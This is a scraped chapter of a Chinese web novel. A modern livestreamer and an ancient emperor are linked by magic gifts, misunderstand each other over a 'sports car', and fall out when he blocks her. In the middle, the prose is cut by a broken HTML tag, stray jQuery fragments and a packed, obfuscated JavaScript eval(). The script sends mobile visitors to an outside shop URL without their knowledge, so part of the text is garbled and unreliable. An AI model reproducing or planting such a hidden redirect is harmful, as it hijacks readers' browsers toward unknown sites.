文趣网 > 其他小说 > 暴君是我榜一大哥 > 9. 拉黑了
    流星转瞬即逝,尾迹夹带的点点星光在眼幕中落下最后一点印记,星芒曳影。

    醒舒十分激动,一瞥收益榜上的数字只有四百星光。

    折合人民币二十元。

    心下一松,搞了半天竟然就送了这么一点点东西,好抠。

    她尴尬的笑了笑,出于职业素养还是夹着嗓子说了一句谢谢风峥哥哥的礼物。

    屏风前的风峥哥哥,正看着屏风上头铺天盖地的宣泄,一时不知说些什么,忽而又冒出一句感谢让他更是摸不着头脑:

    “谢我?谢我什么。”

    风峥举起手里凉透的姜茶正想一抿,翠色的龙泉青瓷杯缘,点点金粉渐渐隐去了。

    他拿在手里细看,上次也是如此,碎掉的花瓶缝处也有金粉转瞬即逝。莫不成,所用之物会飞到她所在的地方去?

    “当然是谢谢你送的礼物呀!我发现您真是贵人多忘事,上次送我礼物的时候也是这样。”

    “区区微薄,不足挂齿。”

    你也知道太寒酸了,那还好意思送...

    醒舒笑着:“风峥大哥一看就是很有实力的人,这点小礼物跟您的身份实在是一点也不匹配。”

    “不然您送我个跑车吧!比较能凸显您的身份呢!”

    跑车?此乃何物。

    醒舒见对方又是已读不回,该不会是觉得自己狮子大开口,给不了吧?不应该啊,上次五千块的‘游园惊梦’都送出来了,一个二百块的跑车而已,也不算太过分。

    她说得不错,风峥不是不给,是他不知道‘跑车’是什么。

    于是他找来薛御侍:“传轿。”

    “陛下,夜深露重的,您这是要去哪个宫里?”

    “去御厩。”

    “陛下,这御厩实在脏乱,您千金之体实在...”

    薛现想要再说些什么却被玄清帝一个冷戾的眼神刺得闭了嘴,只好即刻传轿带人前去御厩。

    小路越走越是冷僻,还未靠近,一股湿热的复杂气息扑面而来——马粪混着干草和土腥气在空气中挥发,越近越有。

    薛现掏出准备好的丝帕递到风峥身边,饲马官带着一众侍从跟在身后,低眉顺眼:

    “陛下,御厩实在污秽,您想用哪匹马,奴下明早吩咐人给您牵来。”

    几匹骏马站着闭眼,余下的卧倒在燕麦杆上深睡了,羊角宫灯照耀过去的每一处都带上昏沉的亮光,毛发光泽有度,都是上好的马匹。

    “灯。”

    风峥伸手接过薛现递来的提灯,“去外面候着。”侍从皆目对视,退出了马厩,独留他一人在里头。

    风峥寻了一圈,站到一匹发色如银的白马跟前,‘咴——’一声,那匹马呼出一口带着浓厚鼻腔的共鸣,羽睫颤动,像是被光亮刺到了。

    “这,可以?”他抬起带着扳指的手,指了指那马。

    醒舒看着弹幕,给他回:“只要是你送我的,我就都可以呀!”

    风峥勾起嘴角———‘跑车’一定是指代皇宫里跑得又快又有轮子的马车了,醒舒定是进宫前从偏远山村而来,并未见过皇家的车马,所以用了方言来形容。

    选定好马匹,他又迈步到一旁放置轿厢的地方,挑了自己的御用。

    这下应该可以了,马匹和轿厢都是顶好的,整个大宴最顶配的所在,一定是最好的‘跑车’。

    风峥想着,还不知这一次天命会赐予自己什么,最好是朝堂上那些顽固的老臣子可以彻底归心。

    他坐上轿撵,夜风刮过,丝丝凉气吹走马厩里的潮臭味,且等着吧!明早上朝指定是要变天了。

    这边消息发出不到一会,那边用户‘风峥’便在直播间里赠送了‘一杯奶茶’X2。

    醒舒噎住,一时竟不知说些什么好了。

    这男的是不是智力障碍啊?我要跑车他送我奶茶是干什么?!

    可刚跟他说送啥都可以,总不能现在嫌弃人家送的礼物小吧。算了,苍蝇再小也是肉,有总比没有好。

    “谢谢风峥哥哥送的礼物。”

    风峥看着屏风上的感谢,心里暗自得意:“无妨,能许你的,我都愿意给你。”

    醒舒心下咯噔,都愿意给自己?自从外婆走后,再没有人对自己说过这样的话。

    她摸了摸胸腔处的扳指,隐隐升温。

    又暖了。跟那晚一样,好热烈。

    醒舒眼眶发酸,晚上被醒陆江和洪素英打骂的回忆跟走马灯似的再度重演,身子忍不住打了个颤栗,她站起来去外头透透气。

    凌晨一点,公司黑漆一片,运营的工作人员已经下班了,就留了茶水间的一盏小灯,醒舒进去坐会平复情绪。

    她的直播间里除了风峥一个人也没有,本来也就没人看,换了时间段更是无人问津。

    “刚刚抱歉了。”醒舒掏出手机,给风峥发私信。

    “抱歉?”

    “就是刚刚对你乱发脾气,我不是有心的,抱歉。”

    哦,原来抱歉是恕罪的意思。风峥挑眉,看来确是苦寒之地出生,难怪说话如此晦涩,人也粗鄙轻浮。

    “不妨事,你是性情中人,言行举止间颇有上古先民之遗风,可堪做女中豪杰。”

    醒舒笑了,“我就是一个普通人,什么女中豪杰啊,其实我也想做男子,要是我是男的就好了,就不用过这种日子了。”

    “男子好?”

    “男子怎么不好?你又不是女子你怎么会明白我的难处?要是我是男的,一切都会不一样了。”

    风峥并不理解她说的话,从小到大,从未听过有女子想做男子的。本来就是男主外女主内,各司其职。

    “有何不同?”

    醒舒想到醒尧那干净清爽的房间还有冷暖一体的空调,眼睛又发酸:“我爸爸妈妈只喜欢我弟弟,从小都不管我。”

    风峥再度沉默,看着屏风上的文字,神情恍惚。

    “就因为我是个女的,也是姐姐,就说长姐如母,说弟弟才是家中能延续香火的人。”

    “说什么嫁出去的女儿泼出去的水,养大我就是给别人养媳妇,生的都是别人家的血脉。只有我弟弟才跟他们是一家的,生的孩子也跟他们姓。”

    “门楣不幸,非卿之罪也。”

    “?”

    “抱歉,我是说,这并不是你的错。”风峥一时忘了纠正。

    “嗯,是。但是就是觉得很委屈。”醒舒揉了揉眼睛,“那晚你给我刷了礼物以后,我妈妈知道了就跟我要。”

    “她抢走了?”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766853|209734||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    风峥不解,碎瓷器都有人要,可想而知家境是多么的贫寒,不过这种物件满宫里到处都是,醒舒想要多少都可以。

    “没,我不肯给。”

    “就因为不给,她就说白生我养我了,我爸爸还打了我一巴掌。”

    风峥皱了皱眉头,就为了个碎瓷器,何苦闹到家宅不宁的份上?难怪天命要孤帮扶此女,其情可悯,天亦垂怜。

    “你要多少?”

    醒舒愣住。

    “十个?”

    什么十个,醒舒觉得莫名其妙。等下,个好像也有代表单位的意思...那十个不就是十万?

    “不不不,太多了,不需要那么多。”

    “你无须多礼,这东西要多少我有多少。”

    看了这句话,亏得刚刚她还感动得掉泪,完全就是有病的人啊,早知道就不跟他多说什么了...

    “大哥,你入戏过头了吧!你真以为自己是皇帝啊?还要多少你有多少,你以为这天下都是你的啊?”

    轮到风峥不痛快了,他眉头拧成川字。

    行如市井贩妇,言若乡野村妪。

    他好歹是天下之主,竟被这样的人绑定了命脉,苍天无眼。

    “这天下本就是孤的。”

    风峥冷冰冰的说完,死死盯着那玉面屏风。

    要不是不知此人身在何处,这样语出犯上的僭越之句,定要掌嘴八十,再行连坐!省得这样的不正家风外传污秽了孤的无辜百姓。

    “我看你真是古装剧看多了。”

    “这天下要真是你的,你就送我那么点价值的礼物啊?怎么不送我个贵的珍玩宝贝,比如什么古董字画啥的。”

    醒舒就想阴阳怪气几句,风峥却当真了,他起身辩解:

    “孤适才才送了你上好的马匹和轿厢!真是恬不知耻!竟如此大放厥词!”

    “什么马匹?根本没有啊。”

    吃饱了就骂厨子,翻脸无情,忘恩负义。

    玄清帝猛地一挥,将冷却的姜茶从桌面上扫下,茶汤泼溅在砖墙上,缓缓滴落。

    “没有?孤还问你可不可以,你自己信誓旦旦说可以。”

    茶水间没有窗子通风,密闭的空间让人闷得实在喘不过气,胸腔处的吊坠热得异常。

    醒舒将东西掏出,上头兑成了金色。

    “阿!”她惊得捂住嘴巴,“怎么回事?!”

    脑子一片混乱,这扳指,怎么变色了?跟那晚如出一撤。

    手机新的信息提示,醒舒慌忙抓起来查看——“你这厚颜无耻之徒!拉黑了,告辞吧!”

    风峥看着‘已阅’,便叫了人进来。

    他心里极其不快,若天上之主要自己帮扶一个贪得无厌的女人才保天下安宁,那么他情愿自己殚精竭虑,耗在其位方至不死不休。

    屏风被两个侍从抬起,风峥的怒意稍稍褪去。

    他是不会蠢到耗尽心力去管这样得寸进尺,不知感恩的人。

    风峥下定决心,不再去管醒舒的一切事情,就让其自生自灭吧!相比之下,他更愿意豢养只流浪猫狗什么的,至少畜生不会言行无状的羞辱他。

    他将扳指摘下,搁置在桌案上。

    玉面瞬间退却了暖意,很快便凉了。